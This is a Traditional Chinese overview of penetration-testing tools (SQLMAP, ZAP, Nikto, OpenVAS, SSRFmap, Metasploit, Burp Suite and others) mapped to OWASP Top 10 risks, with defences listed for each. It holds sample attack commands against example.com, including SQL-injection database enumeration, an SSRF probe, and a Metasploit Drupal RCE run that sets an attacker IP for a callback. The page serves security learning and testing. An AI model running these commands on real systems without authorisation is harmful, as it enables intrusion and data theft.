跳至主要内容

Pentest Toolkit

這些工具的授權方式如下:

免費開源工具(可免費使用)

  1. SQLMAP - 開源(GPLv2),免費使用。
  2. Zed Attack Proxy (ZAP) - 開源(Apache 2.0),免費使用。
  3. Nikto - 開源(GPL),免費使用。
  4. OpenVAS - 開源(GPL),免費使用。
  5. SSRFmap - 開源(MIT),免費使用。
  6. Dependency-Check - 開源(Apache 2.0),免費使用。

免費版 + 付費版的工具

  1. Burp Suite
    • Burp Suite Community Edition(免費,但功能有限,如無法使用自動掃描等進階功能)
    • Burp Suite Professional(付費,提供完整功能)
    • Burp Suite Enterprise(付費,適用於企業自動化掃描)
  2. Metasploit
    • Metasploit Framework(開源,免費使用)
    • Metasploit Pro(付費,提供自動化滲透測試等進階功能)

如果你只是學習或進行基本的安全測試,這些工具的免費版本通常已經足夠,但如果需要企業級支援或自動化測試,可能需要付費版本。


1. SQLMAP – 自動化 SQL 注入測試工具

對應漏洞:A03 – SQL 注入(Injection)

介紹: SQLMAP 是一款開源工具,能夠自動檢測和利用 SQL 注入漏洞,支援 MySQL、PostgreSQL、MSSQL、Oracle、SQLite 等多種資料庫。

使用方式: 如果網站的登入表單可疑,可以使用 SQLMAP 測試:

sqlmap -u "http://example.com/login.php?id=1" --dbs

這將測試 id=1 是否可被 SQL 注入,並列出所有可用資料庫。

防禦措施:

  • 使用 參數化查詢(Prepared Statements)
  • 限制 SQL 權限
  • 設定 Web 應用程式防火牆(WAF) 過濾惡意 SQL 查詢

2. ZAP (Zed Attack Proxy) – OWASP 官方滲透測試工具

對應漏洞:A01(權限控制失效)、A03(SQL 注入)、A07(身份驗證失敗)等多種漏洞

介紹: ZAP 是 OWASP 官方開發的免費 Web 安全測試工具,適合測試 身份驗證、存取控制、SQL 注入、XSS 等漏洞。

使用方式:

  • 攔截並修改請求:測試是否可以繞過身份驗證或權限檢查
  • 自動化爬取網站並進行掃描
  • 模擬攻擊(例如 SQL 注入、XSS、CSRF)

防禦措施:

  • 限制 API 端點存取
  • 強制使用 安全 Cookie 與 CORS 設定
  • 加強身份驗證與權限控管

3. Nikto – Web 伺服器漏洞掃描工具

對應漏洞:A05(安全設定錯誤)、A06(過時元件)

介紹: Nikto 主要用來掃描 Web 伺服器的 不安全設定,例如預設帳號、過時的 PHP 版本、開啟的管理介面等。

使用方式:

nikto -h http://example.com

這將掃描 example.com 是否有已知漏洞,如 Apache 過時版本、開啟的 目錄瀏覽(Directory Listing) 等。

防禦措施:

  • 關閉預設管理介面(如 phpmyadmin
  • 定期更新 Web 伺服器與框架
  • 關閉不必要的端口與功能

4. OpenVAS – 全方位漏洞掃描與管理系統

對應漏洞:A05(安全設定錯誤)、A06(過時元件)、A09(安全記錄與監控失敗)

介紹: OpenVAS(Open Vulnerability Assessment System)是一款 全面的漏洞掃描與管理系統,可針對 伺服器、網路設備、應用程式 進行深入掃描,找出 錯誤設定、過時軟體、已知 CVE(Common Vulnerabilities and Exposures) 等問題。

使用方式:

  1. 安裝 OpenVAS(Greenbone Security Assistant):
sudo apt update
sudo apt install openvas
  1. 啟動 OpenVAS 並開始掃描:
sudo gvm-check-setup
sudo gvm-start
  1. 開啟 Web UI(預設在 https://localhost:9392),登入後啟動掃描目標網站或 IP。

防禦措施:

  • 使用 OpenVAS 進行定期安全掃描
  • 修復報告中列出的高風險漏洞
  • 使用最新版本的伺服器與應用程式

5. SSRFmap – 專門測試伺服端請求偽造(SSRF)

對應漏洞:A10(伺服端請求偽造, SSRF)

介紹: SSRFmap 是專門用來測試 SSRF 漏洞 的工具,攻擊者可以利用它存取內部伺服器(如 AWS Metadata)。

使用方式:

python ssrfmap.py -u "http://example.com/fetch?url=TARGET" -p "url"

如果回應包含內部 IP 或 Metadata,表示存在 SSRF 漏洞。

防禦措施:

  • 封鎖內部 IP(127.0.0.1, 169.254.169.254)
  • 實施 URL Allowlist,只允許特定網站存取
  • 限制伺服器存取外部網站的能力

6. Dependency-Check – 第三方套件漏洞檢測

對應漏洞:A06(過時元件)、A08(供應鏈攻擊)

介紹: Dependency-Check 是 OWASP 官方工具,用來掃描 第三方函式庫 是否有已知漏洞(CVE)。

使用方式:

dependency-check --project MyApp --scan /path/to/project

這將檢查專案內的所有套件,並回報是否有已知漏洞。

防禦措施:

  • 定期更新所有第三方函式庫
  • 使用 SCA(Software Composition Analysis)工具 監測供應鏈風險
  • 避免使用來歷不明的套件

7. Metasploit – 漏洞利用框架

對應漏洞:A06(過時元件)、A08(供應鏈攻擊)、A09(安全監控失敗)

介紹: Metasploit 是一款強大的滲透測試框架,可以自動化測試 已知漏洞,並模擬駭客攻擊。

使用方式:

msfconsole
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS example.com
set LHOST attacker's_IP
run

這將測試目標網站 是否受 Drupal 7 RCE 漏洞影響

防禦措施:

  • 定期更新伺服器與框架
  • 使用 IDS/IPS 監控異常流量
  • 設定最小權限原則,避免駭客橫向移動

8. Burp Suite – 進階滲透測試工具

對應漏洞:A01(Broken Access Control)、A07(身份驗證失敗)、A10(SSRF)等

介紹: Burp Suite 是專業的滲透測試工具,具有攔截請求、修改參數、暴力破解登入等功能,適合進階的 Web 測試。

使用方式:

  • 攔截並修改 API 請求,測試是否能繞過存取控制
  • 透過 Intruder 模組暴力破解登入
  • 測試 SSRF,查看是否能存取內部伺服器

防禦措施:

  • 使用 嚴格的存取控制機制(RBAC)
  • 限制 API 存取,使用 JWT 驗證
  • 為敏感操作增加 多因素驗證(MFA)

總結

漏洞類型檢測工具
權限控制失效(A01)Burp Suite, ZAP
密碼管理失敗(A02)Burp Suite, ZAP, Hydra
SQL 注入(A03)SQLMAP, Burp Suite, ZAP
不安全設計(A04)OWASP Threat Dragon
安全設定錯誤(A05)Nikto, Metasploit, OpenVAS
過時元件(A06)Dependency-Check, Metasploit, OpenVAS
身分驗證失敗(A07)ZAP, Burp Suite
軟體完整性失敗(A08)Dependency-Check
安全監控失敗(A09)SIEM, Graylog, Splunk, OpenVAS
SSRF(A10)SSRFmap, Burp Suite

這些工具可以幫助你測試 OWASP Top 10 的各種漏洞,建議在 合法授權 的情況下使用,例如對自己公司的網站進行安全測試。